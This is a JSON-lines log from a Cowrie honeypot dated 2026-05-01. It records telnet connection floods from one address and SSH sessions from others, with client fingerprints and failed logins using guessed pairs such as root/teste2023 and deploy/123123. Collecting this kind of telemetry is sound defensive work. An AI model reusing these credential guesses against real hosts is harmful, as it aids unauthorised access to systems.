{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37022,"dst_ip":"159.203.135.109","dst_port":23,"session":"d31dd20b8ee4","protocol":"telnet","message":"New connection: 69.6.196.124:37022 (159.203.135.109:23) [session: d31dd20b8ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:16.943712Z"}
{"eventid":"cowrie.session.closed","duration":30.871812343597412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:16.994261Z","src_ip":"69.6.196.124","session":"1b0365f00d44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37030,"dst_ip":"159.203.135.109","dst_port":23,"session":"45083847d411","protocol":"telnet","message":"New connection: 69.6.196.124:37030 (159.203.135.109:23) [session: 45083847d411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:17.144902Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37042,"dst_ip":"159.203.135.109","dst_port":23,"session":"f790d678731b","protocol":"telnet","message":"New connection: 69.6.196.124:37042 (159.203.135.109:23) [session: f790d678731b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:17.177005Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37044,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6a4afb1ef61","protocol":"telnet","message":"New connection: 69.6.196.124:37044 (159.203.135.109:23) [session: c6a4afb1ef61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:17.281125Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37058,"dst_ip":"159.203.135.109","dst_port":23,"session":"099058ba212c","protocol":"telnet","message":"New connection: 69.6.196.124:37058 (159.203.135.109:23) [session: 099058ba212c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:17.542505Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37074,"dst_ip":"159.203.135.109","dst_port":23,"session":"b99307a270dc","protocol":"telnet","message":"New connection: 69.6.196.124:37074 (159.203.135.109:23) [session: b99307a270dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:18.171040Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37078,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dae519c1552","protocol":"telnet","message":"New connection: 69.6.196.124:37078 (159.203.135.109:23) [session: 1dae519c1552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:18.495516Z"}
{"eventid":"cowrie.session.closed","duration":30.610416889190674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:18.581011Z","src_ip":"69.6.196.124","session":"8aefa068cf62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37088,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3be853f1f17","protocol":"telnet","message":"New connection: 69.6.196.124:37088 (159.203.135.109:23) [session: c3be853f1f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:18.591741Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37104,"dst_ip":"159.203.135.109","dst_port":23,"session":"025244e5fba2","protocol":"telnet","message":"New connection: 69.6.196.124:37104 (159.203.135.109:23) [session: 025244e5fba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:18.716376Z"}
{"eventid":"cowrie.session.closed","duration":31.420382499694824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:19.142019Z","src_ip":"69.6.196.124","session":"2440c4e95310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.434035539627075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:19.188570Z","src_ip":"69.6.196.124","session":"c4db98bb95ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":42126,"dst_ip":"10.17.0.5","dst_port":22,"session":"14e7c8696a92","protocol":"ssh","message":"New connection: 103.129.221.202:42126 (10.17.0.5:22) [session: 14e7c8696a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:19.337529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:19.343277Z","src_ip":"103.129.221.202","session":"14e7c8696a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.573686599731445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:19.351633Z","src_ip":"69.6.196.124","session":"13543dbc6276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.444448709487915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:19.410521Z","src_ip":"69.6.196.124","session":"c22a6bb6d615","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:19.596202Z","src_ip":"103.129.221.202","session":"14e7c8696a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49344,"dst_ip":"159.203.135.109","dst_port":23,"session":"65ea4553933a","protocol":"telnet","message":"New connection: 69.6.196.124:49344 (159.203.135.109:23) [session: 65ea4553933a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:20.540684Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49358,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb53eb5e206d","protocol":"telnet","message":"New connection: 69.6.196.124:49358 (159.203.135.109:23) [session: fb53eb5e206d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:20.601568Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root@1234","message":"login attempt [ubuntu/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:20.657632Z","src_ip":"103.129.221.202","session":"14e7c8696a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49372,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba390babda2a","protocol":"telnet","message":"New connection: 69.6.196.124:49372 (159.203.135.109:23) [session: ba390babda2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:21.053517Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49374,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e84fb25bcc5","protocol":"telnet","message":"New connection: 69.6.196.124:49374 (159.203.135.109:23) [session: 4e84fb25bcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:21.196970Z"}
{"eventid":"cowrie.session.closed","duration":30.815633535385132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:21.586295Z","src_ip":"69.6.196.124","session":"c87e924ab39b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":45476,"dst_ip":"10.17.0.5","dst_port":22,"session":"a39f78f1e44b","protocol":"ssh","message":"New connection: 41.63.62.103:45476 (10.17.0.5:22) [session: a39f78f1e44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:21.713417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:21.717976Z","src_ip":"41.63.62.103","session":"a39f78f1e44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49366,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb4ecbc5dde","protocol":"telnet","message":"New connection: 69.6.196.124:49366 (159.203.135.109:23) [session: 1eb4ecbc5dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:21.771628Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49402,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f26f41b27d8","protocol":"telnet","message":"New connection: 69.6.196.124:49402 (159.203.135.109:23) [session: 4f26f41b27d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:21.857264Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:21.909813Z","src_ip":"103.129.221.202","session":"14e7c8696a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:21.981696Z","src_ip":"41.63.62.103","session":"a39f78f1e44b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.919182062149048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:22.050387Z","src_ip":"69.6.196.124","session":"580c21f83b99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49404,"dst_ip":"159.203.135.109","dst_port":23,"session":"cebf54c92ca4","protocol":"telnet","message":"New connection: 69.6.196.124:49404 (159.203.135.109:23) [session: cebf54c92ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:22.294983Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49416,"dst_ip":"159.203.135.109","dst_port":23,"session":"b56130cbcb49","protocol":"telnet","message":"New connection: 69.6.196.124:49416 (159.203.135.109:23) [session: b56130cbcb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:22.298953Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49422,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb935b6dfcb6","protocol":"telnet","message":"New connection: 69.6.196.124:49422 (159.203.135.109:23) [session: bb935b6dfcb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:22.382297Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49432,"dst_ip":"159.203.135.109","dst_port":23,"session":"83f3335aa78b","protocol":"telnet","message":"New connection: 69.6.196.124:49432 (159.203.135.109:23) [session: 83f3335aa78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:22.414234Z"}
{"eventid":"cowrie.session.closed","duration":30.870193004608154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:22.496351Z","src_ip":"69.6.196.124","session":"4794a5829a30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49390,"dst_ip":"159.203.135.109","dst_port":23,"session":"7131086a6995","protocol":"telnet","message":"New connection: 69.6.196.124:49390 (159.203.135.109:23) [session: 7131086a6995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:22.506357Z"}
{"eventid":"cowrie.session.closed","duration":30.80021905899048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:22.511582Z","src_ip":"69.6.196.124","session":"17d59c90ca1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49438,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d86558de904","protocol":"telnet","message":"New connection: 69.6.196.124:49438 (159.203.135.109:23) [session: 0d86558de904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:22.629601Z"}
{"eventid":"cowrie.session.closed","duration":31.00515627861023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:22.759275Z","src_ip":"69.6.196.124","session":"545bb01f227a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste2023","message":"login attempt [root/teste2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:23.070503Z","src_ip":"41.63.62.103","session":"a39f78f1e44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49442,"dst_ip":"159.203.135.109","dst_port":23,"session":"d489cc3bffbb","protocol":"telnet","message":"New connection: 69.6.196.124:49442 (159.203.135.109:23) [session: d489cc3bffbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:23.308635Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49452,"dst_ip":"159.203.135.109","dst_port":23,"session":"e89f85be5607","protocol":"telnet","message":"New connection: 69.6.196.124:49452 (159.203.135.109:23) [session: e89f85be5607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:23.386544Z"}
{"eventid":"cowrie.session.closed","duration":31.190653324127197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:23.518852Z","src_ip":"69.6.196.124","session":"fc301a0d7e6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49492,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf35e1a9ce7d","protocol":"telnet","message":"New connection: 69.6.196.124:49492 (159.203.135.109:23) [session: bf35e1a9ce7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:24.280539Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:24.340281Z","src_ip":"41.63.62.103","session":"a39f78f1e44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49506,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a0e965a0355","protocol":"telnet","message":"New connection: 69.6.196.124:49506 (159.203.135.109:23) [session: 1a0e965a0355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:24.409081Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49516,"dst_ip":"159.203.135.109","dst_port":23,"session":"991b710c6476","protocol":"telnet","message":"New connection: 69.6.196.124:49516 (159.203.135.109:23) [session: 991b710c6476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:24.453734Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49518,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b7848990a6a","protocol":"telnet","message":"New connection: 69.6.196.124:49518 (159.203.135.109:23) [session: 1b7848990a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:24.583863Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49468,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3bb22b5aca","protocol":"telnet","message":"New connection: 69.6.196.124:49468 (159.203.135.109:23) [session: 5f3bb22b5aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:24.842762Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":52046,"dst_ip":"10.17.0.5","dst_port":22,"session":"b41880a2c22c","protocol":"ssh","message":"New connection: 103.13.206.100:52046 (10.17.0.5:22) [session: b41880a2c22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:25.165893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:25.171569Z","src_ip":"103.13.206.100","session":"b41880a2c22c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49534,"dst_ip":"159.203.135.109","dst_port":23,"session":"61edcdcd8beb","protocol":"telnet","message":"New connection: 69.6.196.124:49534 (159.203.135.109:23) [session: 61edcdcd8beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:25.245700Z"}
{"eventid":"cowrie.session.closed","duration":30.632007360458374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:25.264892Z","src_ip":"69.6.196.124","session":"98af8a49dc02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49538,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f0bb8934d57","protocol":"telnet","message":"New connection: 69.6.196.124:49538 (159.203.135.109:23) [session: 6f0bb8934d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:25.360710Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:25.412718Z","src_ip":"103.13.206.100","session":"b41880a2c22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26288414001465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:25.485990Z","src_ip":"69.6.196.124","session":"58447e2efed7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32343626022339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:25.766661Z","src_ip":"69.6.196.124","session":"f4c8abad938d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49554,"dst_ip":"159.203.135.109","dst_port":23,"session":"35dacbc9ea36","protocol":"telnet","message":"New connection: 69.6.196.124:49554 (159.203.135.109:23) [session: 35dacbc9ea36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:25.889459Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49570,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecc8d4f6bbd1","protocol":"telnet","message":"New connection: 69.6.196.124:49570 (159.203.135.109:23) [session: ecc8d4f6bbd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:25.925062Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49582,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb6560a07c49","protocol":"telnet","message":"New connection: 69.6.196.124:49582 (159.203.135.109:23) [session: fb6560a07c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:26.124362Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49588,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f19a2bc2201","protocol":"telnet","message":"New connection: 69.6.196.124:49588 (159.203.135.109:23) [session: 2f19a2bc2201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:26.181608Z"}
{"eventid":"cowrie.session.closed","duration":31.13390040397644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:26.205677Z","src_ip":"69.6.196.124","session":"3da4c0983c77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.345678567886353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:26.258652Z","src_ip":"69.6.196.124","session":"17b030a51e49","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:26.410819Z","src_ip":"103.13.206.100","session":"b41880a2c22c","protocol":"ssh"}
